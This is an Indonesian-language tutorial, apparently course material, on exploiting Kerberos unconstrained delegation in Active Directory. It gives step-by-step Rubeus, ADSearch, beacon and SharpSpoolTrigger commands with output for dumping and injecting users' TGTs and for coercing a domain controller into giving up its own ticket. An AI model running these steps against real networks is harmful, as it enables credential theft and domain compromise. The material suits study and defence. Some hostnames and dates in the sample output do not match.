[Kerberos] Unconstrained Delegation
Unconstrained Delegation adalah suatu fitur dalam Kerberos dan Active Directory yang memungkinkan suatu service atau mesin untuk beroperasi atas nama pengguna lain ketika berinteraksi dengan service lain.
Konfigurasi Unconstained Delegation
Fitur ini pertama kali diperkenalkan pada Windows 2000 untuk menyelesaikan masalah seperti aplikasi front-end yang perlu otentikasi ke database back-end sebagai pengguna yang terautentikasi.
Berikut adalah contoh cara kerja Unconstrained Delegation:
- Pengguna melakukan otentikasi Kerberos ke Web Server.
- Web Server, yang dikonfigurasi dengan Unconstrained Delegation, mengekstrak TGT pengguna dari TGS dan menyimpannya dalam memori.
- Ketika Web Server perlu mengakses DB Server atas nama pengguna, ia menggunakan TGT pengguna untuk meminta TGS untuk service database.
Unconstrained Delegation memiliki risiko keamanan karena jika suatu mesin dengan Unconstrained Delegation di-compromised, TGT yang disimpan dalam memori dapat diekstraksi dan digunakan untuk meniru pengguna terhadap service lain dalam domain.
Oleh karena itu, penting untuk hati-hati ketika mengonfigurasi Unconstrained Delegation dan memantau kegiatan yang mencurigakan.
Dalam konteks serangan, jika seorang penyerang dapat meng-compromised mesin dengan Unconstrained Delegation (misalnya, WEB$
), mereka dapat mengekstraksi TGT yang disimpan dalam memori dan menggunakan mereka untuk meniru pengguna.
0x1 - Exploitation Stages
Method 1
Step 1: Find All Computers Permitted for Unconstrained Delegation
1
2
3
4
5
6
7
8
PS > .\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[+] samaccountname : DC$
[+] dnshostname : dc.example.io
[+] samaccountname : WEB$
[+] dnshostname : web.dev.example.io
Domain Controller selalu diizinkan untuk pendelegasian Unconstrained Delegation.
Step 2: Show All the Tickets That Are Currently Cached
1
2
3
4
5
6
7
8
9
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
PS > .\Rubeus.exe triage
---------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
---------------------------------------------------------------------------------------------------------------
| 0x147abc | namina @ DEV.EXAMPLE.IO | krbtgt/DEV.EXAMPLE.IO | 10/7/2023 9:35:38 PM |
Step 3: Extract the TGT and Leverage It via a New Logon Session
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS > .\Rubeus.exe dump /luid:0x147abc /nowrap
PS > .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:namina /password:FakePass /ticket:doIFwj[...]MuSU8=
[*] Using DEV\namina:FakePass
[*] Showing process : False
[*] Username : namina
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 1540
[+] Ticket successfully imported!
[+] LUID : 0x3206fb
1
2
3
beacon> steal_token 1540
beacon> ls \\dc.example.io\c$
Method 2
Step 1: Monitor and Extract new TGT
Kita juga dapat memperoleh TGT untuk akun komputer dengan memaksanya untuk mengautentikasi dari jarak jauh ke mesin ini.
Seperti yang disebutkan dalam modul NTLM Relaying, ada beberapa tools yang tersedia untuk memfasilitasi hal ini.
Kali ini, kita akan memaksa Domain Controller untuk mengautentikasi ke server web untuk mencuri TGT-nya.
Kita akan menggunakan perintah monitor
dari Rubeus. Perintah ini akan terus memantau dan mengekstrak TGT baru didapatkan.
Ini adalah strategi yang lebih baik jika dibandingkan dengan menjalankan triage
secara manual karena terdapat kemungkinan kita tidak melihat atau melewatkan suatu tiket.
1
PS > .\Rubeus.exe monitor /interval:10 /nowrap
Untuk menghentikan monitor Rubeus, gunakan perintah
job
danjobkill
.
Step 2: Trigger and Capture the Ticket
Selanjutnya, jalankan SharpSpoolTrigger.
1
PS > .\SharpSpoolTrigger.exe dc.example.io web.dev.example.io
Keterangan:
dc.example.io
adalah target.web.dev.example.io
adalah listener.
Rubeus akan menangkap tiket, seperti berikut:
1
2
3
4
5
6
7
8
9
10
[*] 9/6/2022 2:44:52 PM UTC - Found new TGT:
User : DC$@DEV.CYBERBOTIC.IO
StartTime : 5/6/2023 9:06:14 AM
EndTime : 5/6/2023 7:06:14 PM
RenewTill : 5/13/2023 9:06:14 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFuj[...]lDLklP
TGT mesin/komputer bisa dimanfaatkan dengan cara yang sedikit berbeda, lihat materi S4U2Self Abuse.
Perlu dicatat bahwa Anda perlu memiliki akses ke layanan spooler pada target untuk menjalankan perintah
SharpSpoolTrigger
ini, yang biasanya memerlukan hak administratif atau setidaknya hak kontrol spooler.Untuk mengecek apakah Anda memiliki akses ke layanan spooler pada sistem tertentu, Anda dapat menggunakan perintah berikut di baris perintah Windows:
1 C:\> sc \\<target_system> qc spooler
0x2 - References
- https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation
- https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976
- https://pentestlab.blog/2022/03/21/unconstrained-delegation/
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation
- https://github.com/cube0x0/SharpSystemTriggers